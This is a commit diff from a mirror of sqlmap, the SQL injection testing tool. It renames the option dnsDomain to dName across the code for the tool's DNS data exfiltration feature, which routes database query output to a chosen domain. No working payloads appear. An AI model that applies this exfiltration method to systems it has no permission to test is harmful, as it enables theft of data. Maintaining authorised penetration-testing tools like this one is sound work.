mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-01-24 08:14:24 +03:00
changing conf.dnsDomain to conf.dName just because of long text problems in help listing
This commit is contained in:
parent
d2bbfa4aad
commit
b1d82422a0
|
@ -1721,7 +1721,7 @@ def __setTrafficOutputFP():
|
||||||
conf.trafficFP = openFile(conf.trafficFile, "w+")
|
conf.trafficFP = openFile(conf.trafficFile, "w+")
|
||||||
|
|
||||||
def __setDNSServer():
|
def __setDNSServer():
|
||||||
if not conf.dnsDomain:
|
if not conf.dName:
|
||||||
return
|
return
|
||||||
|
|
||||||
infoMsg = "setting up DNS server instance"
|
infoMsg = "setting up DNS server instance"
|
||||||
|
|
|
@ -87,7 +87,7 @@ optDict = {
|
||||||
"timeSec": "integer",
|
"timeSec": "integer",
|
||||||
"uCols": "string",
|
"uCols": "string",
|
||||||
"uChar": "string",
|
"uChar": "string",
|
||||||
"dnsDomain": "string"
|
"dName": "string"
|
||||||
},
|
},
|
||||||
|
|
||||||
"Fingerprint": {
|
"Fingerprint": {
|
||||||
|
|
|
@ -272,7 +272,7 @@ def cmdLineParser():
|
||||||
techniques.add_option("--union-char", dest="uChar",
|
techniques.add_option("--union-char", dest="uChar",
|
||||||
help="Character to use for bruteforcing number of columns")
|
help="Character to use for bruteforcing number of columns")
|
||||||
|
|
||||||
techniques.add_option("--dns-domain", dest="dnsDomain",
|
techniques.add_option("--dns-domain", dest="dName",
|
||||||
help="Domain name used for DNS exfiltration attack")
|
help="Domain name used for DNS exfiltration attack")
|
||||||
|
|
||||||
# Fingerprint options
|
# Fingerprint options
|
||||||
|
|
|
@ -84,7 +84,7 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha
|
||||||
def __goDns(payload, expression):
|
def __goDns(payload, expression):
|
||||||
value = None
|
value = None
|
||||||
|
|
||||||
if conf.dnsDomain and kb.dnsTest is not False:
|
if conf.dName and kb.dnsTest is not False:
|
||||||
if kb.dnsTest is None:
|
if kb.dnsTest is None:
|
||||||
dnsTest(payload)
|
dnsTest(payload)
|
||||||
|
|
||||||
|
|
|
@ -26,7 +26,7 @@ def dnsTest(payload):
|
||||||
errMsg = "data retrieval through DNS channel failed. Turning off DNS exfiltration support"
|
errMsg = "data retrieval through DNS channel failed. Turning off DNS exfiltration support"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
|
||||||
conf.dnsDomain = None
|
conf.dName = None
|
||||||
else:
|
else:
|
||||||
infoMsg = "data retrieval through DNS channel was successful"
|
infoMsg = "data retrieval through DNS channel was successful"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
|
@ -48,7 +48,7 @@ def dnsUse(payload, expression):
|
||||||
count = 0
|
count = 0
|
||||||
offset = 1
|
offset = 1
|
||||||
|
|
||||||
if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
|
if conf.dName and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
|
||||||
output = hashDBRetrieve(expression, checkConf=True)
|
output = hashDBRetrieve(expression, checkConf=True)
|
||||||
|
|
||||||
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
|
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
|
||||||
|
@ -67,7 +67,7 @@ def dnsUse(payload, expression):
|
||||||
nulledCastedField = agent.hexConvertField(nulledCastedField)
|
nulledCastedField = agent.hexConvertField(nulledCastedField)
|
||||||
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
||||||
|
|
||||||
expressionRequest = getSPQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
|
expressionRequest = getSPQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dName)
|
||||||
expressionUnescaped = unescaper.unescape(expressionRequest)
|
expressionUnescaped = unescaper.unescape(expressionRequest)
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
|
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
|
||||||
|
@ -108,7 +108,7 @@ def dnsUse(payload, expression):
|
||||||
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
|
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
elif conf.dnsDomain:
|
elif conf.dName:
|
||||||
warnMsg = "DNS data exfiltration method through SQL injection "
|
warnMsg = "DNS data exfiltration method through SQL injection "
|
||||||
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
|
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
|
@ -299,7 +299,7 @@ uChar =
|
||||||
|
|
||||||
# Domain name used for DNS exfiltration attack
|
# Domain name used for DNS exfiltration attack
|
||||||
# Valid: string
|
# Valid: string
|
||||||
dnsDomain =
|
dName =
|
||||||
|
|
||||||
|
|
||||||
[Fingerprint]
|
[Fingerprint]
|
||||||
|
|
Loading…
Reference in New Issue
Block a user